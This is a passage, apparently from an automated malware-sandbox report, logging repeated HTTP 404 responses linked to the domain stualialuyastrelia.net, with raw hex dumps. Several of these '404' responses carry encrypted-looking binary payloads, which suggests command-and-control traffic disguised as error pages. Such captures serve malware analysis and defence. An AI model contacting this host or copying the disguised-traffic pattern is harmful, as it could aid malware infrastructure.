58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f d2 f0 46 65 73 fe 74 89 c7 8b 39 3e db 7d 26 f1 9c 20 e5 d4 19 85 0e 0c 22 4b 08 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:05:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 99 e6 f4 c4 80 79 e2 ad 2c 29 19 61 f0 ba c5 a2 6b 28 66 83 02 84 28 ab f8 9c fa 20 43 4a c3 62 c9 47 07 14 54 62 a7 15 ac 53 35 6d 51 48 a1 af 0e 5f 48 2e 99 1b cd 79 32 a8 10 8c d1 c3 2b 12 09 73 37 f7 ca 8b bd 04 7c be 35 0a fa 28 e9 81 bf 6c 13 d9 11 5f a8 1b 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 57 53 4f 76 0c fa 1d 09 52 2b e5 8d 83 7b 9e 45 f5 fe 73 8c 5c db c4 43 19 13 bf b4 f9 92 24 08 4f c5 28 fb cb a1 61 6e de f5 69 d9 13 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a f4 1d 7c 88 2c c8 48 f9 fb cc 4a 98 03 fd 6d 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 cf d2 ff 1a 38 9b 4a d8 19 7e ed 4f 63 6c 83 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 85 2c 31 05 9e 90 f7 ff e7 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af a3 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 be e6 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 1d 13 ab 90 4e b1 54 55 a5 c0 bd 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 f8 4b 11 f1 2c 3e a4 03 5b fb 1f e4 a6 2f 1a 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 c4 9d c2 e0 2b 79 95 bb 01 6c 16 28 d2 de 4c 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c e7 52 90 3e 27 a7 3a 96 13 e5 e7 17 3f 2c c7 7e 4d 96 70 d4 03 6d a7 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 75 98 c3 e5 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:05:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:05:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 13 f1 1c c4 0a 6e 0a ad a6 3e f1 61 7a ad 2d a2 5d aa d7 83 4e 92 c0 ab 03 af 0a 20 66 5c 2b 62 c8 5c 6b 15 f8 74 4f 15 26 44 cb 6d a7 5f 49 af 76 11 a0 2f 96 0c 25 79 a6 ed 73 8c d3 d5 c3 12 90 64 96 f7 ff 9c 55 04 73 10 81 0a a6 3e 01 81 f4 31 6c e1 bf 49 40 1b 28 7b 78 6e b0 4b 13 0b f1 6f f0 52 da 55 d3 51 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 54 2b 38 5e 5b 3c 7e 45 f7 ff 78 8d 55 db 24 0d 11 32 b4 1f e3 9e 24 98 4f c5 03 81 cb a1 61 75 ca f5 f9 9c 19 17 7e 4f af 9a a5 e4 c9 a0 c1 b9 dd 6a 0d 80 4e 19 e0 3c 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b c1 e5 4a 9a 13 fd ec 13 a6 5d ac 85 2f bd e1 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 bb 85 f5 1a 08 9b 4a d8 5d 0a cc 4f ab 78 82 ae 9c 77 26 4c cd 5d ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df 05 c8 e7 12 7d 4c 80 90 cc f9 13 37 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 24 42 40 13 9a c7 9b 84 e7 3d 66 b9 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 85 00 b7 1b 6f d3 cb 29 32 b8 e7 5b 1e 44 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 fc e8 1f e4 a6 dd 10 9f 10 a9 d9 b0 99 a7 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb e1 a7 17 28 d2 1e 46 1f d0 41 aa 7a 8f 46 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 09 8a b3 56 3f dc e5 7e 7a e0 53 d4 03 7b ad 98 76 3e 2c ca 82 5f 24 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 83 b2 27 70 10 7b 3a 1d f8 f8 a1 ae 88 c1 24 85 33 25 6d da a9 c3 08 ec 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 13 93 81 59 3d fa dc e0 9a 7b 97 52 83 ac ea 9e 13 18 9c 4c 45 91 f0 73 8d b3 fd ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 48 03 81 d4 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:05:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:05:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 61 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 4a cc 5f 80 07 85 b8 51 fa 7b bf 7b 1d 16 3a f9 68 00 65 c2 5d 31 0e 0d 0a 30 0d 0a 0d 0a Data Ascii: 2aUys/~(`:J_Q{{:he]10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 31 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 94 1d d0 4d cb f7 04 a0 28 e3 2f 0b 5a 38 fd 29 10 69 9c 17 20 05 7d d4 b5 ca ac dd 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 31Uys/~(u:RM(/Z8)i }40
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 34 39 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 98 1e df 40 d7 e4 05 ba 2a fd 3f 47 17 38 e2 61 4b 36 d4 00 2a 5f 2e d3 af 87 ed 8d 73 95 64 7e 0b 69 e3 b4 e8 fa 58 6e 96 77 7b b8 da 85 39 bf 06 26 fb 43 9d 0d 0a 30 0d 0a 0d 0a Data Ascii: 49Uys/~(u:R@?G8aK6_.sd~iXnw{9&C0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 35 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 4c c2 40 9f 06 80 b8 52 fb 67 a3 7b 1c 16 23 e2 63 01 68 8d 4c 2c 18 6d c1 bf 8b ae d0 37 8a 63 32 5d 0d 0a 30 0d 0a 0d 0a Data Ascii: 35Uys/~(`:L@Rg{#chL,m7c2]0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:06:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 